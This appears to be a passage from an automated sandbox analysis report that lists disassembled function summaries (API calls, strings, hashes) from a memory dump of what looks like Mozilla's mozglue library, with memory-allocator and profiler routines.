VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C543FB4

Strings

C>Tl, xrefs: 6C543E93
nvinit.dll, xrefs: 6C544479
nvd3d9wrap.dll, xrefs: 6C544466

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Tl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-1071783695
Opcode ID: 1d00a7677dd3bb9f419736e12558bae64ecf9558d2caa33dc73e78b04cf848c7
Instruction ID: 2ec00eac277444c8f745e2f83de9c765482006dcb674221125b7017f7d7c7a98
Opcode Fuzzy Hash: 1d00a7677dd3bb9f419736e12558bae64ecf9558d2caa33dc73e78b04cf848c7
Instruction Fuzzy Hash: 1E52C1B1614B848BD714DF348C84ABBB7E9AF85304F44496DD496CBB82DB34E91ACB60

Function 6C51FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E7B8), ref: 6C51FF81
LeaveCriticalSection.KERNEL32(6C58E7B8), ref: 6C52022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C520240
EnterCriticalSection.KERNEL32(6C58E768), ref: 6C52025B
LeaveCriticalSection.KERNEL32(6C58E768), ref: 6C52027B

Strings

MOZ_CRASH(), xrefs: 6C520CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C51FE99, 6C51FEB7, 6C51FED3, 6C520DB8, 6C520DD3, 6C5219B4, 6C521A10

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: be631dc009dbe1113b661753623d248dc3e80644c0e6bfa7f9b7bbd5cc523d31
Instruction ID: f8355eb094ecdcb95331b32ee5244858b9365448430a08564fa8b2780a174f91
Opcode Fuzzy Hash: be631dc009dbe1113b661753623d248dc3e80644c0e6bfa7f9b7bbd5cc523d31
Instruction Fuzzy Hash: 8FB2BE716067418FD714CF28C990716BBE1BF85328F28C66DE86A8BBD5D779E840CB81

Function 6C555600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C555AC8, 6C555CBB
expected a Count entry, xrefs: 6C555AC3
data, xrefs: 6C556131
schema, xrefs: 6C55606D
expected a Time entry, xrefs: 6C555CB6
name, xrefs: 6C555E79, 6C555E8F

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: b190c815a5738950e027a1da1c840e74b65bccfdfc0c58e41d79c3ac85c22eb0
Instruction ID: aa1169b415b5988e3fbd98ca65b8c7c0f5f150fb1e1907e1712414e1af5628a1
Opcode Fuzzy Hash: b190c815a5738950e027a1da1c840e74b65bccfdfc0c58e41d79c3ac85c22eb0
Instruction Fuzzy Hash: 94923CB1A08341CFD724CF28C89075AB7E1BFC9308F95891EE5999B751DB30E859CB92

Function 6C517810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E744), ref: 6C517885
LeaveCriticalSection.KERNEL32(6C58E744), ref: 6C5178A5
EnterCriticalSection.KERNEL32(6C58E784), ref: 6C5178AD
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C5178CD
EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C5178D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5178E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C51795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5179BB
LeaveCriticalSection.KERNEL32(?), ref: 6C517BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C517C82
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C517CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C517DAF

Strings

DXl, xrefs: 6C51789F
DXl, xrefs: 6C51787F

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DXl$DXl
API String ID: 759993129-179974443
Opcode ID: 6f58ac5a112427e179f436fca9730ac97292d3cdde6843bd072905fbe779907b
Instruction ID: 5d36a098510720a2d4876b9d7b78f55e48144a5a19cc9beb471eca62227e5e8e
Opcode Fuzzy Hash: 6f58ac5a112427e179f436fca9730ac97292d3cdde6843bd072905fbe779907b
Instruction Fuzzy Hash: C3028235A052198FEB54CF19CD88799B7B5FF89358F2542AAD809A7B11D730BE90CF80

Function 6C552E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C552ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C552EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C552F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C553214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C553242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5536BF

Strings

get , xrefs: 6C553205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C55378D
set , xrefs: 6C5536EC

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 74423d59e8e8b8f5b8a84b33f3d1b541799b14f29d85aec1f83c481567b66a60
Instruction ID: 0b5f237e8de0cc8c2fdb4f3bbd335e0ed87fde4ecce730a2c28afe3e3a316910
Opcode Fuzzy Hash: 74423d59e8e8b8f5b8a84b33f3d1b541799b14f29d85aec1f83c481567b66a60
Instruction Fuzzy Hash: 843260746083818FD724CF24C8906AFB7E2AFC9318F948D1EE59987751DB30E95ACB52

Function 6C547E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C548280, 6C5483E1
schema, xrefs: 6C5481E3, 6C548311
(pre-xul), xrefs: 6C547E88
name, xrefs: 6C547ECF, 6C548335
vXl, xrefs: 6C548207

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vXl
API String ID: 3412268980-3775262732
Opcode ID: 6525ce6b1adf8d5372eb5ff305e4600b321f93d984c0c22a53981f797d688227
Instruction ID: 9beef3e71fe94c527634fd49cc2da64ede3957363a682e1ec83bf528e6a04867
Opcode Fuzzy Hash: 6525ce6b1adf8d5372eb5ff305e4600b321f93d984c0c22a53981f797d688227
Instruction Fuzzy Hash: D5E18EB1B043548BD710CF688C4066BFBE9BBD4314F148A2DE899E7B90DBB4DC498B91

Function 6C565FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C566009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C566024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QPl,?), ref: 6C566046
OutputDebugStringA.KERNEL32(?,QPl,?), ref: 6C566061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C566069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C566073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C566082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C58148E), ref: 6C566091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QPl,00000000,?), ref: 6C5660BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5660C4

Strings

QPl, xrefs: 6C565FFC, 6C566042, 6C566045, 6C5660B3

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QPl
API String ID: 3835517998-2864474455
Opcode ID: b0118a5aa2a975dd7a208c96e3be7cf9b62bf70d84919d8545a51568c0a5fc41
Instruction ID: b0a4bb654c0387622c7765bb078971a9dd522fbbd199313783f08423c78394b3
Opcode Fuzzy Hash: b0118a5aa2a975dd7a208c96e3be7cf9b62bf70d84919d8545a51568c0a5fc41
Instruction Fuzzy Hash: 2521E771A012289FDF106F25DC09A9E7BBCFF46314F018428E85AD7641DB74A948CFE5

Function 6C525E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2
memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C5261F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C527652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5272F8
ewVl, xrefs: 6C525E9C, 6C525F22, 6C5261ED
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C52730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5272E3
MOZ_CRASH(), xrefs: 6C527BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C527BCD, 6C527C1F, 6C527C34, 6C5280FD

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewVl
API String ID: 2613674957-1255838230
Opcode ID: 28a9d117e2d3f0cb03310660b04368fb6b1dc3c63dbd064e631965c031a3ddbd
Instruction ID: 06d70071e7f2be737cf9c3ae39f65df16052dd8b4b02c8445fedcea6ef93ceab
Opcode Fuzzy Hash: 28a9d117e2d3f0cb03310660b04368fb6b1dc3c63dbd064e631965c031a3ddbd
Instruction Fuzzy Hash: 06336C716067018FD308CF28C990615FBE2BF85368F29C6ADE9698B7E5D739E841CB41

Function 6C554820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C554DB8, 6C554DD8
ProfileBuffer parse error: %s, xrefs: 6C554DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C554CAF
data, xrefs: 6C5549B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C554D0A
Xl, xrefs: 6C554F88
-%llu, xrefs: 6C554825
schema, xrefs: 6C5548C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C554D65

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free
String ID: Xl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-613953806
Opcode ID: e655c05814768792ab9cdd9c40afa173921be2205805696c74690004fe0ceafb
Instruction ID: 24289c9c8ee0c5cd0cd5143f42a7f93fe50979334bca794bea46bf49cd6a578f
Opcode Fuzzy Hash: e655c05814768792ab9cdd9c40afa173921be2205805696c74690004fe0ceafb
Instruction Fuzzy Hash: 27723E71918B858BD322CF34C85139BF7E5BFDA344F508B1EE4896B611EB70A895CB42

Function 6C52D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C53D1C5), ref: 6C52D4F2
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C53D1C5), ref: 6C52D50B

Part of subcall function 6C50CFE0: EnterCriticalSection.KERNEL32(6C58E784), ref: 6C50CFF6
Part of subcall function 6C50CFE0: LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C50D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C53D1C5), ref: 6C52D52E
EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C52D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52D6A6
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C52D712
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C53D1C5), ref: 6C52D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C52D82C
<jemalloc>, xrefs: 6C52D827

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 6a73811994202a2a0d8b627c8a5e77800609f11860405eea3adddf4d3dc9ef04
Instruction ID: b99f03fd2ab2a3a81a0395265249fd9e6c01f1406b7a3976eaffd1dcf84521cf
Opcode Fuzzy Hash: 6a73811994202a2a0d8b627c8a5e77800609f11860405eea3adddf4d3dc9ef04
Instruction Fuzzy Hash: DA919E71A057518FD714CF28C89076AB7F1EF8A314F15892EE59AC7AC1E778E844CB82

Function 6C564EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C564EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C564F2E
moz_xmalloc.MOZGLUE ref: 6C564F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C564F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5652B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5652E6
Sleep.KERNEL32(00000010), ref: 6C565481
free.MOZGLUE(?), ref: 6C565498

Strings

(, xrefs: 6C565250

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 3046ce39170ca8b99da1f74ad59ed0e49ae04f9b904b4c2a7893e052769b4c02
Instruction ID: 1f517b0fbd09e710e0f7df0e6ae6f5aa5b5ff3a272268348e14b65ffcd6af39a
Opcode Fuzzy Hash: 3046ce39170ca8b99da1f74ad59ed0e49ae04f9b904b4c2a7893e052769b4c02
Instruction Fuzzy Hash: 0FF1D271A19B508FC716CF39CC5062BB7F5AFD6384F068B2EF846A7651DB3198428B81

Function 6C567030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C567046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C567060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C56707E

Part of subcall function 6C5181B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5181DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C567096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C56709C
LocalFree.KERNEL32(?), ref: 6C5670AA

Strings

(null), xrefs: 6C56706A, 6C567083
### ERROR: %s: %s, xrefs: 6C567087

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 6c109691c39e93fa7c75528756190501afd44dd878a4d0f657e5c76b5075d7ab
Instruction ID: 9e12c890627abadfe83e2fe8ffcc2075b56f271b39e1616c42197534f718987e
Opcode Fuzzy Hash: 6c109691c39e93fa7c75528756190501afd44dd878a4d0f657e5c76b5075d7ab
Instruction Fuzzy Hash: 7301B9B2A01124AFDB00AB64DC4ADAF7BBCEF4A214F020425FA05A7241E67169148BA5

Function 6C529E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C529EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C529F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C529F34
LeaveCriticalSection.KERNEL32(?), ref: 6C52A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C52A8B1, 6C52A8D4, 6C52A8EF

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 43f5b708efb6d85609a027b0ac10e5b498fb63e397ac479dd72252e8f1341998
Instruction ID: 527453a94b620ff6d8dd813023f89b368a15860866e6ce604f0567ff939a55b8
Opcode Fuzzy Hash: 43f5b708efb6d85609a027b0ac10e5b498fb63e397ac479dd72252e8f1341998
Instruction Fuzzy Hash: 57725A72A056118FD718CF29C940615FBE1FF89728F29C66DE8699B7D1D339E842CB80

Function 6C552C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C552C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C552C61

Part of subcall function 6C504DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C504E5A
Part of subcall function 6C504DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C504E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C552C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C552E2D

Part of subcall function 6C5181B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5181DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C552E3B
(root), xrefs: 6C55354F
expected a Time entry, xrefs: 6C552E36

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 9392f4f9f34d4f75b8e555835e4ba807abc7b48d78e5c01ed5a0868e4b6ad4a8
Instruction ID: 6e828c2c5b46a4a08f0668bcf4c1d9333a307715a92198973286741590d77716
Opcode Fuzzy Hash: 9392f4f9f34d4f75b8e555835e4ba807abc7b48d78e5c01ed5a0868e4b6ad4a8
Instruction Fuzzy Hash: D791BF70608740CFC724CF24CC946AEB7E1AFC9358F904A1EE59A9B751EB30D959CB52

Function 6C569E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C569F3D
__aulldiv.LIBCMT ref: 6C569F77
__aullrem.LIBCMT ref: 6C569F8C
__aulldiv.LIBCMT ref: 6C56A023

Strings

-Infinity, xrefs: 6C569E60, 6C569E7B
NaN, xrefs: 6C569EAB

Memory Dump Source

